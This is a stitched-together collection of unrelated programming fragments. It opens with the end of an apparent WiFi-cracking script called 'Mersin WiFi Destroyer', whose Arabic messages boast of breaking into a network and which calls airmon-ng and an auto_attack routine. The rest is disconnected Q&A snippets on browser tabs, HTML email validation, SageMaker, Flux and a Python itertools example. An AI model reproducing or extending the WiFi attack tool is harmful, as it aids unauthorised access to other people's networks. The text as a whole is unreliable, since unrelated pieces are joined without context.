os.system("sudo airmon-ng stop wlan0mon")
if self.found:
print(f"{G}\[+\] السوري كسر الشبكة ودخلها من مرسين! 🔥")
else:
print(f"{R}\[!\] ما انكسرتش... بس بنرجع بـ 100 أداة أقوى!")
# تشغيل الجحيم
if _name_ == "_main_":
os.system("clear" if os.name != "nt" else "cls")
os.system("title مرسين WiFi Destroyer V99 - السوري")
if os.geteuid() != 0 and os.name != "nt":
print(f"{R}\[-\] شغّل الأداة بـ sudo يا زلمة!")
sys.exit()
destroyer = MersinDestroyer()
destroyer.banner()
destroyer.auto_attack()
input(f"\\n{Y}\[\*\] خلصنا... اضغط Enter وروح اشرب شاي يا ملك مرسين 🔥")
There isn't an agnostic answer to this question since it totally depends on your browser (default browser). This mainly happens because some browsers do detect if a webpage with the same TLD name exists in your current session and reload the new URL in the same tab. I would love to see if you could programmatically enforce such a behavior
Just accept the new terms and agreements on your app store connect or developer account and it will work just fine.
Same problem Here: https://github.com/expo/eas-cli/issues/880
Is your question "why is it like this", or is your question "How can I achieve X"? Your title says one thing (for which the "advice" category you chose is the correct one) but the body of the post then asks something different. Perhaps you actually need two different posts - a new one to solve your specific problem, and this one to have a discussion about the design of the feature in Laravel?
email type inputs don't really need an explicit pattern as they are validated by most modern browsers. However, the rules might not be to your liking. For example: the at least 2 characters after the trailing dot {2,} is not a requirement on Firefox at least. In such cases you might use the pattern attr.
Your pattern is slightly wrong in that you have not escaped the literal -. This leads the pattern analyzer astray. I have added the necessary escapes in my snippet and it seems to work as expected.
Cheers
input {
display: block;
margin-bottom: 0.5rem;
}
input:invalid {
background-color: ivory;
border: transparent;
outline: 2px solid red;
}
<form>
<input type="email" required placeholder="no pattern email" />
<input type="email" required pattern="[a-z0-9._%+\-]+@[a-z0-9.\-]+\.[a-z]{2,}$" placeholder="pattern email" />
<input type="password" required minlength="8" placeholder="password"/>
<button type="submit">Register</button>
</form>
This was a simple fix. the s3 file needed to be tar.gz as required by sagemaker
When a Kustomization or HelmRelease is being reconciled in a namespace other than the namespace where flux is installed, the reconciliation will run under the gotk:<NAMESPACE>:reconciler user. If the user doesn't exists or if the objects being reconciled don't belong to that namespace, the reconcilers will not be able to apply the tenant's sources on the cluster.
# Source - How to do a math equation using y = x^2 with range to print multiple outputs
# Posted by Netwave
# Retrieved 2025-11-06, License - CC BY-SA 3.0
\>>> import itertools
\>>> list(itertools.imap(lambda x, y: (x ** 2)/y, xrange(1, 1001), xrange(1, 1001)))
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999,
1000]